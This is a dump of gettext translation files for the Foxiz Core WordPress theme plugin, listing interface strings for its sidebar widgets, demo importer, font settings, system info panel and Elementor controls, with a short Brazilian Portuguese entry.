above setting." msgstr "" #: widgets/sb-ad-image.php:21 msgid "Foxiz - Widget Ad Image" msgstr "" #: widgets/sb-ad-image.php:23 msgid "[Sidebar Widget] Display your custom ad image in the sidebars." msgstr "" #: widgets/sb-ad-image.php:55 msgid "Destination URL" msgstr "" #: widgets/sb-ad-image.php:62 msgid "Ad Image URL" msgstr "" #: widgets/sb-ad-image.php:63 msgid "Input your advert image URL (attachment URL) for this widget." msgstr "" #: widgets/sb-ad-image.php:70 msgid "Dark Mode - Ad Image URL" msgstr "" #: widgets/sb-ad-image.php:71 msgid "Input your advert image URL (attachment URL) for this widget in the dark mode." msgstr "" #: widgets/sb-ad-script.php:23 msgid "Foxiz - Widget Ad Script" msgstr "" #: widgets/sb-ad-script.php:25 msgid "Display your Js ad or Google Adsense in the sidebars or full width widget areas." msgstr "" #: widgets/sb-ad-script.php:66 msgid "Select a custom size for this ad if you use the adsense ad units code." msgstr "" #: widgets/sb-ad-script.php:78 msgid "Select a size on the desktop devices." msgstr "" #: widgets/sb-ad-script.php:87 msgid "Select a size on the tablet devices." msgstr "" #: widgets/sb-ad-script.php:96 msgid "Select a size on the mobile devices/" msgstr "" #: widgets/sb-address.php:26 msgid "Foxiz - Widget Address" msgstr "" #: widgets/sb-address.php:28 msgid "[Sidebar Widget] Display the address information in the sidebars." msgstr "" #: widgets/sb-address.php:59 msgid "Address Title" msgstr "" #: widgets/sb-address.php:66 msgid "Office Address" msgstr "" #: widgets/sb-address.php:73 msgid "Phone/Tel Label" msgstr "" #: widgets/sb-address.php:80 msgid "Phone Number" msgstr "" #: widgets/sb-address.php:87 msgid "Tel Number" msgstr "" #: widgets/sb-address.php:94 msgid "Email Address" msgstr "" #: widgets/sb-address.php:101 msgid "Additional Label" msgstr "" #: widgets/sb-address.php:108 msgid "Additional Info" msgstr "" #: widgets/sb-facebook.php:19 msgid "Foxiz - Widget Facebook" msgstr "" #: widgets/sb-facebook.php:21 msgid "[Sidebar Widget] Display the Facebook Like box in the sidebars." msgstr "" #: widgets/sb-facebook.php:52 msgid "Fan Page URL" msgstr "" #: widgets/sb-flickr.php:22 msgid "Foxiz - Widget Flickr Grid" msgstr "" #: widgets/sb-flickr.php:24 msgid "[Sidebar Widget] Display a grid of Flickr images in the sidebars." msgstr "" #: widgets/sb-flickr.php:55 msgid "Flickr Settings" msgstr "" #: widgets/sb-flickr.php:61 msgid "Get Flickr Id" msgstr "" #: widgets/sb-flickr.php:62 msgid "Flickr User ID" msgstr "" #: widgets/sb-flickr.php:69 msgid "Total Images" msgstr "" #: widgets/sb-flickr.php:76 msgid "Tags (optional, Separate tags with comma. i.e. tag1,tag2)" msgstr "" #: widgets/sb-flickr.php:85 widgets/sb-instagram.php:74 msgid "2 columns" msgstr "" #: widgets/sb-flickr.php:86 widgets/sb-instagram.php:75 msgid "3 columns" msgstr "" #: widgets/sb-flickr.php:87 widgets/sb-instagram.php:76 msgid "4 columns" msgstr "" #: widgets/sb-flickr.php:103 msgid "Flickr Error: " msgstr "" #: widgets/sb-flickr.php:132 msgid "Flickr use ID not found" msgstr "" #: widgets/sb-follower.php:38 msgid "Foxiz - Widget Social Counter" msgstr "" #: widgets/sb-follower.php:40 msgid "[Sidebar Widget] Display your media socials with total of followers in the sidebars." msgstr "" #: widgets/sb-follower.php:96 msgid "Facebook Settings" msgstr "" #: widgets/sb-follower.php:116 msgid "Twitter Settings" msgstr "" #: widgets/sb-follower.php:136 msgid "Pinterest Settings" msgstr "" #: widgets/sb-follower.php:156 msgid "Instagram Settings" msgstr "" #: widgets/sb-follower.php:176 widgets/sb-youtube.php:53 msgid "Youtube Settings" msgstr "" #: widgets/sb-follower.php:196 msgid "SoundCloud Settings" msgstr "" #: widgets/sb-follower.php:216 msgid "Telegram Settings" msgstr "" #: widgets/sb-follower.php:236 msgid "Vimeo Settings" msgstr "" #: widgets/sb-follower.php:256 msgid "Dribbble Settings" msgstr "" #: widgets/sb-follower.php:275 msgid "Font Size Settings" msgstr "" #: widgets/sb-follower.php:280 msgid "Widget Font Size" msgstr "" #: widgets/sb-instagram.php:23 msgid "Foxiz - Widget Instagram" msgstr "" #: widgets/sb-instagram.php:25 msgid "[Sidebar Widget] Display a grid of instagram images in the sidebars." msgstr "" #: widgets/sb-instagram.php:57 msgid "Input Instagram Token" msgstr "" #: widgets/sb-instagram.php:65 msgid "Default Grid - Total Images" msgstr "" #: widgets/sb-instagram.php:84 msgid "Footer Description" msgstr "" #: widgets/sb-instagram.php:85 msgid "Input a short description to display at the footer, raw HTML allowed." msgstr "" #: widgets/sb-instagram.php:92 msgid "Footer Link" msgstr "" #: widgets/sb-instagram.php:248 msgid "Token did not work or has expired, Try to create a new token." msgstr "" #: widgets/sb-post.php:30 msgid "Foxiz - Post Listing" msgstr "" #: widgets/sb-post.php:32 msgid "[Sidebar Widget] Display a small list latest post listing in the sidebar." msgstr "" #: widgets/sb-post.php:63 msgid "Select a category you would like to show." msgstr "" #: widgets/sb-post.php:119 msgid "Order By" msgstr "" #: widgets/sb-post.php:142 msgid "Posts per Page" msgstr "" #: widgets/sb-social-icon.php:43 msgid "Foxiz - Widget Social Icons/About" msgstr "" #: widgets/sb-social-icon.php:45 msgid "[Sidebar Widget] Display about me information and social icons in the sidebars." msgstr "" #: widgets/sb-social-icon.php:77 msgid "Short biography (raw HTML allowed)" msgstr "" #: widgets/sb-social-icon.php:84 msgid "Align Content" msgstr "" #: widgets/sb-social-icon.php:95 msgid "Social Profiles Source" msgstr "" #: widgets/sb-social-icon.php:96 msgid "" "To set social profiles from the Theme Options, Navigate to: Theme Options -> Social " "Profiles." msgstr "" #: widgets/sb-social-icon.php:99 msgid "Use Custom" msgstr "" #: widgets/sb-social-icon.php:107 msgid "Open in new tab" msgstr "" #: widgets/sb-social-icon.php:109 msgid "Default" msgstr "" #: widgets/sb-social-icon.php:110 msgid "New Tab" msgstr "" #: widgets/sb-social-icon.php:124 msgid "Facebook URL" msgstr "" #: widgets/sb-social-icon.php:131 msgid "Twitter URL" msgstr "" #: widgets/sb-social-icon.php:138 msgid "Instagram URL" msgstr "" #: widgets/sb-social-icon.php:145 msgid "Pinterest URL" msgstr "" #: widgets/sb-social-icon.php:152 msgid "Linkedin URL" msgstr "" #: widgets/sb-social-icon.php:159 msgid "Tumblr URL" msgstr "" #: widgets/sb-social-icon.php:166 msgid "Flickr URL" msgstr "" #: widgets/sb-social-icon.php:173 msgid "Skype URL" msgstr "" #: widgets/sb-social-icon.php:180 msgid "Snapchat URL" msgstr "" #: widgets/sb-social-icon.php:187 msgid "Myspace URL" msgstr "" #: widgets/sb-social-icon.php:194 msgid "Youtube URL" msgstr "" #: widgets/sb-social-icon.php:201 msgid "Bloglovin URL" msgstr "" #: widgets/sb-social-icon.php:208 msgid "Digg URL" msgstr "" #: widgets/sb-social-icon.php:215 msgid "Dribbble URL" msgstr "" #: widgets/sb-social-icon.php:222 msgid "SoundCloud URL" msgstr "" #: widgets/sb-social-icon.php:229 msgid "Vimeo URL" msgstr "" #: widgets/sb-social-icon.php:236 msgid "Reddit URL" msgstr "" #: widgets/sb-social-icon.php:243 msgid "VKontakte URL" msgstr "" #: widgets/sb-social-icon.php:250 msgid "Telegram URL" msgstr "" #: widgets/sb-social-icon.php:257 msgid "Whatsapp URL" msgstr "" #: widgets/sb-social-icon.php:264 msgid "RSS URL" msgstr "" #: widgets/sb-tweet.php:15 msgid "Latest Tweets" msgstr "" #: widgets/sb-tweet.php:24 msgid "Foxiz - Widget Tweet" msgstr "" #: widgets/sb-tweet.php:26 msgid "[Sidebar Widget] Display latest Twitter tweets in the sidebars." msgstr "" #: widgets/sb-tweet.php:58 msgid "Twitter User Name" msgstr "" #: widgets/sb-tweet.php:65 msgid "Number of Tweets" msgstr "" #: widgets/sb-tweet.php:72 msgid "Twitter API Settings" msgstr "" #: widgets/sb-tweet.php:79 msgid "Twitter Consumer Key" msgstr "" #: widgets/sb-tweet.php:86 msgid "Twitter Consumer Secret" msgstr "" #: widgets/sb-tweet.php:93 msgid "Twitter Access Token" msgstr "" #: widgets/sb-tweet.php:100 msgid "Twitter Access Secret" msgstr "" #: widgets/sb-tweet.php:135 msgid "Following" msgstr "" #: widgets/sb-tweet.php:156 #, php-format msgid "%s ago" msgstr "" #: widgets/sb-weather.php:22 msgid "Foxiz - Widget Weather" msgstr "" #: widgets/sb-weather.php:24 msgid "[Sidebar Widget] Display today weather information in the sidebars." msgstr "" #: widgets/sb-weather.php:56 msgid "Units" msgstr "" #: widgets/sb-weather.php:67 msgid "Weather Settings" msgstr "" #: widgets/sb-weather.php:73 msgid "Digit ISO Location Code" msgstr "" #: widgets/sb-weather.php:75 msgid "Put the city's name, comma, 2-letter country code. i.e: London, GB)" msgstr "" #: widgets/sb-weather.php:81 msgid "Weather API Key" msgstr "" #: widgets/sb-weather.php:89 msgid "Forecast" msgstr "" #: widgets/sb-youtube.php:20 msgid "Foxiz - Youtube Subscribe" msgstr "" #: widgets/sb-youtube.php:22 msgid "[Sidebar Widget] Display YouTube subscribe box in the sidebars." msgstr "" #: widgets/sb-youtube.php:59 msgid "Channel Name" msgstr "" #: widgets/sb-youtube.php:66 msgid "or Channel ID" msgstr "" #: widgets/sb-youtube.php:67 msgid "this setting will override on the above channel name." msgstr "" languages/foxiz-core-pt_BR.mo000064400000001621147206624460012153 0ustar00,<<=%QwYou Might Also LikeProject-Id-Version: Foxiz Core POT-Creation-Date: 2022-05-18 13:29+0700 PO-Revision-Date: 2022-08-29 02:10+0000 Last-Translator: Language-Team: Português do Brasil Language: pt_BR MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit X-Generator: Loco https://localise.biz/ X-Poedit-Basepath: .. Plural-Forms: nplurals=2; plural=n != 1; X-Poedit-SourceCharset: UTF-8 X-Poedit-KeywordsList: _x;__;_e;_nx:1,2;esc_html__;esc_html_e;esc_attr__;esc_attr_e;foxiz_html__;foxiz_html_e;foxiz_attr__;foxiz_attr_e X-Poedit-SearchPath-0: . X-Poedit-SearchPathExcluded-0: *.js X-Poedit-SearchPathExcluded-1: composer X-Poedit-SearchPathExcluded-2: lib X-Poedit-SearchPathExcluded-3: rb-meta X-Poedit-SearchPathExcluded-4: amp Report-Msgid-Bugs-To: X-Loco-Version: 2.6.2; wp-6.0.1Você pode gostar tambémlanguages/foxiz-core-pt_BR-backup-202208290210260.po~000064400000516671147206624460015300 0ustar00msgid "" msgstr "" "Project-Id-Version: Foxiz Core\n" "POT-Creation-Date: 2022-05-18 13:29+0700\n" "PO-Revision-Date: 2022-08-29 02:10+0000\n" "Last-Translator: \n" "Language-Team: Português do Brasil\n" "Language: pt_BR\n" "MIME-Version: 1.0\n" "Content-Type: text/plain; charset=UTF-8\n" "Content-Transfer-Encoding: 8bit\n" "X-Generator: Loco https://localise.biz/\n" "X-Poedit-Basepath: ..\n" "Plural-Forms: nplurals=2; plural=n != 1;\n" "X-Poedit-SourceCharset: UTF-8\n" "X-Poedit-KeywordsList: _x;__;_e;_nx:1,2;esc_html__;esc_html_e;esc_attr__;" "esc_attr_e;foxiz_html__;foxiz_html_e;foxiz_attr__;foxiz_attr_e\n" "X-Poedit-SearchPath-0: .\n" "X-Poedit-SearchPathExcluded-0: *.js\n" "X-Poedit-SearchPathExcluded-1: composer\n" "X-Poedit-SearchPathExcluded-2: lib\n" "X-Poedit-SearchPathExcluded-3: rb-meta\n" "X-Poedit-SearchPathExcluded-4: amp\n" "\n" "Report-Msgid-Bugs-To: \n" "X-Loco-Version: 2.6.2; wp-6.0.1" #: admin/core.php:54 msgid "Foxiz Admin" msgstr "" #: admin/core.php:168 admin/core.php:210 admin/core.php:267 admin/core.php:281 msgid "Sorry, you are not allowed to do this action." msgstr "" #: admin/core.php:173 msgid "Empty data! Please check input form." msgstr "" #: admin/core.php:178 msgid "Wrong email format! Please check input form." msgstr "" #: admin/core.php:240 msgid "Bad Request." msgstr "" #: admin/core.php:290 msgid "OK" msgstr "" #: admin/fonts/fonts.php:32 admin/fonts/fonts.php:33 msgid "Adobe Fonts" msgstr "" #: admin/fonts/fonts.php:39 admin/fonts/template.php:94 #: admin/translation/template.php:38 msgid "Save Changes" msgstr "" #: admin/fonts/fonts.php:40 msgid "Delete Project" msgstr "" #: admin/fonts/fonts.php:74 elementor/control.php:15 elementor/control.php:140 #: elementor/control.php:175 elementor/control.php:196 #: elementor/control.php:280 elementor/control.php:352 #: elementor/control.php:379 elementor/control.php:437 #: elementor/control.php:456 elementor/control.php:496 #: elementor/control.php:515 elementor/control.php:568 #: elementor/heading.php:108 elementor/hierarchical-1.php:354 #: elementor/hierarchical-1.php:364 elementor/hierarchical-2.php:326 #: elementor/hierarchical-2.php:336 elementor/hierarchical-3.php:341 #: elementor/hierarchical-3.php:351 elementor/overlay-1.php:333 #: elementor/overlay-2.php:437 elementor/quick-links.php:65 #: widgets/sb-post.php:95 msgid "- Default -" msgstr "" #: admin/fonts/fonts.php:86 msgid " - Italic" msgstr "" #: admin/fonts/fonts.php:88 msgid " - Normal" msgstr "" #: admin/fonts/init.php:130 msgid "Project ID is invalid. Please check again!" msgstr "" #: admin/fonts/init.php:134 msgid "Project is empty. Please add some fonts to your project." msgstr "" #: admin/fonts/init.php:138 msgid "Adobe Fonts have been successfully deleted." msgstr "" #: admin/fonts/init.php:142 msgid "Adobe Fonts have been successfully loaded." msgstr "" #: admin/fonts/init.php:149 msgid "Font settings have been successfully saved." msgstr "" #: admin/fonts/template.php:12 msgid "Adobe (TypeKit) Fonts" msgstr "" #: admin/fonts/template.php:13 msgid "" "The theme supports Adobe (TypeKit) Fonts. These settings below will override " "on Google Fonts settings in the Theme Options panel." msgstr "" #: admin/fonts/template.php:18 msgid "Project ID" msgstr "" #: admin/fonts/template.php:19 #, php-format msgid "" "You can find the Project ID here from " "your Typekit Account." msgstr "" #: admin/fonts/template.php:25 msgid "Edit Project ID" msgstr "" #: admin/fonts/template.php:36 msgid "Adobe Font Details" msgstr "" #: admin/fonts/template.php:37 msgid "The list below will display all fonts in your Adobe fonts account." msgstr "" #: admin/fonts/template.php:41 msgid "Emty project ID." msgstr "" #: admin/fonts/template.php:43 msgid "No webfont found in your project." msgstr "" #: admin/fonts/template.php:46 msgid "Fonts" msgstr "" #: admin/fonts/template.php:47 msgid "Font Family" msgstr "" #: admin/fonts/template.php:48 msgid "Weight & Style" msgstr "" #: admin/fonts/template.php:62 elementor/navigation.php:323 msgid "Font Settings" msgstr "" #: admin/fonts/template.php:63 msgid "" "These settings below will override on Google Fonts settings in the Theme " "Options panel." msgstr "" #: admin/fonts/template.php:71 msgid "H1 Tag" msgstr "" #: admin/fonts/template.php:72 msgid "H2 Tag" msgstr "" #: admin/fonts/template.php:73 msgid "H3 Tag" msgstr "" #: admin/fonts/template.php:74 msgid "H4 Tag" msgstr "" #: admin/fonts/template.php:75 msgid "H5 Tag" msgstr "" #: admin/fonts/template.php:76 msgid "H6 Tag" msgstr "" #: admin/fonts/template.php:77 msgid "Site Body" msgstr "" #: admin/import/ajax.php:116 msgid "Not found!" msgstr "" #: admin/import/import.php:38 admin/import/import.php:39 msgid "Demo Importer" msgstr "" #: admin/import/init.php:29 msgid "An error occurred during import." msgstr "" #: admin/import/lib/class-wp-import.php:116 #: admin/import/lib/class-wp-import.php:167 #: admin/import/lib/class-wp-import.php:171 #: admin/import/lib/class-wp-import.php:180 msgid "Sorry, there has been an error." msgstr "" #: admin/import/lib/class-wp-import.php:151 msgid "All done." msgstr "" #: admin/import/lib/class-wp-import.php:151 msgid "Have fun!" msgstr "" #: admin/import/lib/class-wp-import.php:152 msgid "Remember to update the passwords and roles of imported users." msgstr "" #: admin/import/lib/class-wp-import.php:172 #, php-format msgid "" "The export file could not be found at %s. It is likely that " "this was caused by a permissions problem." msgstr "" #: admin/import/lib/class-wp-import.php:188 #, php-format msgid "" "This WXR file (version %s) may not be supported by this version of the " "importer. Please consider updating." msgstr "" #: admin/import/lib/class-wp-import.php:213 #, php-format msgid "" "Failed to import author %s. Their posts will be attributed to the current " "user." msgstr "" #: admin/import/lib/class-wp-import.php:239 msgid "Assign Authors" msgstr "" #: admin/import/lib/class-wp-import.php:240 msgid "" "To make it simpler for you to edit and save the imported content, you may " "want to reassign the author of the imported item to an existing user of this " "site, such as your primary administrator account." msgstr "" #: admin/import/lib/class-wp-import.php:242 #, php-format msgid "" "If a new user is created by WordPress, a new password will be randomly " "generated and the new user’s role will be set as %s. Manually changing " "the new user’s details will be necessary." msgstr "" #: admin/import/lib/class-wp-import.php:252 msgid "Import Attachments" msgstr "" #: admin/import/lib/class-wp-import.php:255 msgid "Download and import file attachments" msgstr "" #: admin/import/lib/class-wp-import.php:259 msgid "Submit" msgstr "" #: admin/import/lib/class-wp-import.php:272 msgid "Import author:" msgstr "" #: admin/import/lib/class-wp-import.php:284 msgid "or create new user with login name:" msgstr "" #: admin/import/lib/class-wp-import.php:287 msgid "as a new user:" msgstr "" #: admin/import/lib/class-wp-import.php:297 msgid "assign posts to an existing user:" msgstr "" #: admin/import/lib/class-wp-import.php:299 msgid "or assign posts to an existing user:" msgstr "" #: admin/import/lib/class-wp-import.php:307 msgid "- Select -" msgstr "" #: admin/import/lib/class-wp-import.php:361 #, php-format msgid "" "Failed to create new user for %s. Their posts will be attributed to the " "current user." msgstr "" #: admin/import/lib/class-wp-import.php:413 #, php-format msgid "Failed to import category %s" msgstr "" #: admin/import/lib/class-wp-import.php:458 #, php-format msgid "Failed to import post tag %s" msgstr "" #: admin/import/lib/class-wp-import.php:513 #: admin/import/lib/class-wp-import.php:739 #, php-format msgid "Failed to import %s %s" msgstr "" #: admin/import/lib/class-wp-import.php:606 #, php-format msgid "Failed to import “%s”: Invalid post type %s" msgstr "" #: admin/import/lib/class-wp-import.php:643 #, php-format msgid "%s “%s” already exists." msgstr "" #: admin/import/lib/class-wp-import.php:705 #, php-format msgid "Failed to import %s “%s”" msgstr "" #: admin/import/lib/class-wp-import.php:879 msgid "Menu item skipped due to missing menu slug" msgstr "" #: admin/import/lib/class-wp-import.php:886 #, php-format msgid "Menu item skipped due to invalid menu slug: %s" msgstr "" #: admin/import/lib/class-wp-import.php:949 msgid "Fetching attachments is not enabled" msgstr "" #: admin/import/lib/class-wp-import.php:962 msgid "Invalid file type" msgstr "" #: admin/import/lib/class-wp-import.php:1001 msgid "Could not create temporary file." msgstr "" #: admin/import/lib/class-wp-import.php:1020 #, php-format msgid "Request failed due to an error: %1$s (%2$s)" msgstr "" #: admin/import/lib/class-wp-import.php:1036 #, php-format msgid "Remote server returned the following unexpected result: %1$s (%2$s)" msgstr "" #: admin/import/lib/class-wp-import.php:1048 msgid "Remote server did not respond" msgstr "" #: admin/import/lib/class-wp-import.php:1055 msgid "Zero size file downloaded" msgstr "" #: admin/import/lib/class-wp-import.php:1060 msgid "Downloaded file has incorrect size" msgstr "" #: admin/import/lib/class-wp-import.php:1066 #, php-format msgid "Remote file is too large, limit is %s" msgstr "" #: admin/import/lib/class-wp-import.php:1098 msgid "Sorry, this file type is not permitted for security reasons." msgstr "" #: admin/import/lib/class-wp-import.php:1113 msgid "The uploaded file could not be moved" msgstr "" #: admin/import/lib/class-wp-import.php:1225 msgid "Import WordPress" msgstr "" #: admin/import/lib/class-wp-import.php:1232 #, php-format msgid "" "A new version of this importer is available. Please update to version %s to " "ensure compatibility with newer export files." msgstr "" #: admin/import/lib/class-wp-import.php:1247 msgid "" "Howdy! Upload your WordPress eXtended RSS (WXR) file and we’ll import " "the posts, pages, comments, custom fields, categories, and tags into this " "site." msgstr "" #: admin/import/lib/class-wp-import.php:1248 msgid "Choose a WXR (.xml) file to upload, then click Upload file and import." msgstr "" #: admin/import/lib/parsers/class-wxr-parser-regex.php:96 #: admin/import/lib/parsers/class-wxr-parser-simplexml.php:52 #: admin/import/lib/parsers/class-wxr-parser-simplexml.php:57 #: admin/import/lib/parsers/class-wxr-parser-xml.php:48 msgid "" "This does not appear to be a WXR file, missing/invalid WXR version number" msgstr "" #: admin/import/lib/parsers/class-wxr-parser-simplexml.php:40 #: admin/import/lib/parsers/class-wxr-parser-simplexml.php:48 #: admin/import/lib/parsers/class-wxr-parser.php:42 msgid "There was an error when reading this WXR file" msgstr "" #: admin/import/lib/parsers/class-wxr-parser.php:43 msgid "" "Details are shown above. The importer will now try again with a different " "parser..." msgstr "" #: admin/import/parts.php:12 msgid "Select Content" msgstr "" #: admin/import/parts.php:15 msgid "All Demo Content" msgstr "" #: admin/import/parts.php:19 msgid "Content (Posts, Pages & Media)" msgstr "" #: admin/import/parts.php:22 msgid "Only Pages" msgstr "" #: admin/import/parts.php:25 admin/tops/tops.php:30 admin/tops/tops.php:31 #: widgets/sb-social-icon.php:98 msgid "Theme Options" msgstr "" #: admin/import/parts.php:28 msgid "Widgets" msgstr "" #: admin/import/parts.php:73 msgid "Activated" msgstr "" #: admin/import/parts.php:76 admin/templates/validate-redirect.php:9 msgid "Activate" msgstr "" #: admin/import/parts.php:93 msgid "Install Package" msgstr "" #: admin/import/parts.php:115 msgid "Install" msgstr "" #: admin/import/radium-importer.php:278 admin/import/radium-importer.php:415 msgid "Widget Import file could not be found. Please try again." msgstr "" #: admin/import/radium-importer.php:319 msgid "Category settings file could not be found. Please try again." msgstr "" #: admin/import/radium-importer.php:479 msgid "Sidebar does not exist in theme (using Inactive)" msgstr "" #: admin/import/radium-importer.php:501 msgid "Site does not support widget" msgstr "" #: admin/import/radium-importer.php:524 msgid "Widget already exists" msgstr "" #: admin/import/radium-importer.php:572 msgid "Imported" msgstr "" #: admin/import/radium-importer.php:575 msgid "Imported to Inactive" msgstr "" #: admin/import/radium-importer.php:581 msgid "No Title" msgstr "" #: admin/import/template.php:7 msgid "Sorry, you are not allowed to install demos on this site." msgstr "" #: admin/import/template.php:11 msgid "Something went wrong, Try to re-activate the theme again!" msgstr "" #: admin/import/template.php:18 msgid "Ruby Demo Importer" msgstr "" #: admin/import/template.php:41 msgid "Already Imported" msgstr "" #: admin/import/template.php:45 admin/import/template.php:69 msgid "Import Demo" msgstr "" #: admin/import/template.php:59 msgid "Recommended Plugins" msgstr "" #: admin/import/template.php:68 admin/import/template.php:74 msgid "Importing..." msgstr "" #: admin/import/template.php:70 admin/import/template.php:76 msgid "Import Complete" msgstr "" #: admin/import/template.php:75 msgid "Re-Import" msgstr "" #: admin/rb-meta/rb-meta.php:768 admin/rb-meta/rb-meta.php:788 #: admin/taxonomy.php:83 admin/taxonomy.php:98 admin/taxonomy.php:387 #: admin/taxonomy.php:415 msgid "Delete" msgstr "" #: admin/system-info/system-info.php:28 admin/system-info/system-info.php:29 msgid "System Info" msgstr "" #: admin/system-info/system-info.php:43 msgid "PHP Version" msgstr "" #: admin/system-info/system-info.php:47 msgid "" "WordPress recommended PHP version 7.0 or greater to get better performance " "for your site." msgstr "" #: admin/system-info/system-info.php:50 msgid "Memory Limit" msgstr "" #: admin/system-info/system-info.php:54 msgid "" "The memory_limit value is set low. The theme recommended this value to be at " "least 64MB for the theme in order to work." msgstr "" #: admin/system-info/system-info.php:57 msgid "Max Input Vars" msgstr "" #: admin/system-info/system-info.php:61 msgid "" "The max_input_vars value is set low. The theme recommended this value to be " "at least 3000." msgstr "" #: admin/system-info/system-info.php:64 msgid "Post Max Size" msgstr "" #: admin/system-info/system-info.php:68 admin/system-info/system-info.php:75 msgid "" "The post_max_size value is set low. We recommended this value to be at least " "32M." msgstr "" #: admin/system-info/system-info.php:71 msgid "Max Upload Size" msgstr "" #: admin/system-info/system-info.php:86 msgid "WordPress Version" msgstr "" #: admin/system-info/system-info.php:90 msgid "Debug Mode" msgstr "" #: admin/system-info/system-info.php:93 msgid "" "Enabling WordPress debug mode might display details about your site's PHP " "code to visitors." msgstr "" #: admin/system-info/system-info.php:96 msgid "Debug Log" msgstr "" #: admin/system-info/system-info.php:100 msgid "Theme Name" msgstr "" #: admin/system-info/system-info.php:104 msgid "Theme Version" msgstr "" #: admin/system-info/system-info.php:108 msgid "Theme Author" msgstr "" #: admin/system-info/template.php:9 msgid "System Information" msgstr "" #: admin/system-info/template.php:10 msgid "" "This theme can work on all almost servers. However, we recommend following " "server settings as below if there have red values." msgstr "" #: admin/system-info/template.php:16 admin/templates/template-panel.php:69 msgid "PHP Information" msgstr "" #: admin/system-info/template.php:40 msgid "WordPress Info" msgstr "" #: admin/taxonomy.php:135 admin/taxonomy.php:391 msgid "Select File" msgstr "" #: admin/taxonomy.php:160 admin/taxonomy.php:419 msgid "Select Image" msgstr "" #: admin/templates/links.php:8 msgid "Online Documentation" msgstr "" #: admin/templates/links.php:9 msgid "Support Center" msgstr "" #: admin/templates/links.php:10 msgid "Themes" msgstr "" #: admin/templates/template-panel.php:10 msgid "Welcome to" msgstr "" #: admin/templates/template-panel.php:11 #, php-format msgid "Thank you for your awesome taste and choosing %s!" msgstr "" #: admin/templates/template-panel.php:19 #, php-format msgid "Activate %s" msgstr "" #: admin/templates/template-panel.php:20 #, php-format msgid "" "Please activate %s to unlock the full features of the theme and get access " "to premium dedicated support." msgstr "" #: admin/templates/template-panel.php:26 admin/templates/template-panel.php:54 msgid "Purchase Code" msgstr "" #: admin/templates/template-panel.php:27 msgid "Input purchase code..." msgstr "" #: admin/templates/template-panel.php:31 msgid "Support Email" msgstr "" #: admin/templates/template-panel.php:32 msgid "Input your email..." msgstr "" #: admin/templates/template-panel.php:36 msgid "Activate Theme" msgstr "" #: admin/templates/template-panel.php:38 msgid "How to find your purchase code?" msgstr "" #: admin/templates/template-panel.php:46 #, php-format msgid "%s is Activated" msgstr "" #: admin/templates/template-panel.php:48 #, php-format msgid "" "Thank you for choosing %s. Should you have any other concerns while using " "this theme, please feel free to contact us at any time via the above link." msgstr "" #: admin/templates/template-panel.php:58 msgid "Deactivate Theme" msgstr "" #: admin/templates/validate-redirect.php:10 msgid "" "Please activate your copy of the theme in order to get access to Import " "Demos panel and Theme Options." msgstr "" #: admin/templates/validate-redirect.php:15 msgid "Go to Activate Page" msgstr "" #: admin/translation/template.php:10 admin/translation/translation.php:31 #: admin/translation/translation.php:32 msgid "Quick Translation" msgstr "" #: admin/translation/template.php:11 msgid "Search and find the string you would like to translate." msgstr "" #: admin/translation/template.php:19 msgid "Fetch Translation Data" msgstr "" #: admin/translation/template.php:22 msgid "POT files not found." msgstr "" #: admin/translation/template.php:25 msgid "Re-fetch Translation Data" msgstr "" #: e-template/init.php:206 e-template/init.php:208 msgid "Ruby Templates" msgstr "" #: e-template/init.php:207 msgid "All Templates" msgstr "" #: e-template/init.php:209 msgid "Template" msgstr "" #: e-template/init.php:210 msgid "Add Template" msgstr "" #: e-template/init.php:211 msgid "New Template" msgstr "" #: e-template/init.php:212 e-template/init.php:213 msgid "Add New Template" msgstr "" #: e-template/init.php:214 msgid "Edit Template" msgstr "" #: e-template/init.php:215 msgid "No template item found." msgstr "" #: e-template/init.php:216 msgid "No template item found in Trash." msgstr "" #: e-template/init.php:249 msgid "Template Shortcode" msgstr "" #: elementor/ad-image.php:26 msgid "Foxiz - Ad Image" msgstr "" #: elementor/ad-image.php:42 elementor/ad-script.php:43 elementor/banner.php:43 #: elementor/heading.php:43 elementor/login-icon.php:42 #: elementor/notification-icon.php:42 elementor/plan.php:42 #: elementor/quick-links.php:46 elementor/search-icon.php:42 #: elementor/weather.php:43 msgid "General Settings" msgstr "" #: elementor/ad-image.php:49 elementor/ad-script.php:50 elementor/banner.php:60 #: elementor/newsletter-1.php:66 elementor/newsletter-2.php:66 #: elementor/newsletter-3.php:67 elementor/plan.php:59 widgets/banner.php:58 #: widgets/fw-mc.php:57 widgets/sb-ad-script.php:50 msgid "Description" msgstr "" #: elementor/ad-image.php:51 elementor/ad-script.php:52 msgid "Input a description for this adverting box." msgstr "" #: elementor/ad-image.php:52 elementor/ad-script.php:53 #: widgets/sb-ad-image.php:15 widgets/sb-ad-script.php:15 msgid "- Advertisement -" msgstr "" #: elementor/ad-image.php:58 msgid "Ad Image" msgstr "" #: elementor/ad-image.php:59 msgid "Upload your ad image." msgstr "" #: elementor/ad-image.php:66 msgid "Dark Mode - Ad Image" msgstr "" #: elementor/ad-image.php:67 msgid "Upload your ad image in the dark mode." msgstr "" #: elementor/ad-image.php:74 msgid "Ad Destination" msgstr "" #: elementor/ad-image.php:76 msgid "Input your ad destination URL." msgstr "" #: elementor/ad-image.php:83 elementor/ad-image.php:90 msgid "Image Max Width" msgstr "" #: elementor/ad-image.php:92 msgid "" "Input a max width value (in px) for your ad image, leave blank set full size." msgstr "" #: elementor/ad-image.php:102 elementor/ad-image.php:117 #: elementor/ad-script.php:112 elementor/ad-script.php:128 #: elementor/banner.php:154 elementor/banner.php:169 #: elementor/breaking-news.php:274 elementor/breaking-news.php:289 #: elementor/categories-1.php:170 elementor/categories-1.php:186 #: elementor/categories-5.php:151 elementor/categories-5.php:167 #: elementor/classic-1.php:574 elementor/classic-1.php:589 #: elementor/covid-data.php:108 elementor/covid-data.php:124 #: elementor/grid-1.php:611 elementor/grid-1.php:626 elementor/grid-2.php:610 #: elementor/grid-2.php:625 elementor/grid-box-1.php:610 #: elementor/grid-box-1.php:625 elementor/grid-box-2.php:610 #: elementor/grid-box-2.php:625 elementor/grid-small-1.php:619 #: elementor/grid-small-1.php:634 elementor/heading.php:270 #: elementor/heading.php:287 elementor/hierarchical-1.php:494 #: elementor/hierarchical-1.php:509 elementor/hierarchical-2.php:448 #: elementor/hierarchical-2.php:463 elementor/list-1.php:608 #: elementor/list-1.php:623 elementor/list-2.php:592 elementor/list-2.php:607 #: elementor/list-box-1.php:607 elementor/list-box-1.php:622 #: elementor/list-box-2.php:607 elementor/list-box-2.php:622 #: elementor/list-small-1.php:458 elementor/list-small-1.php:473 #: 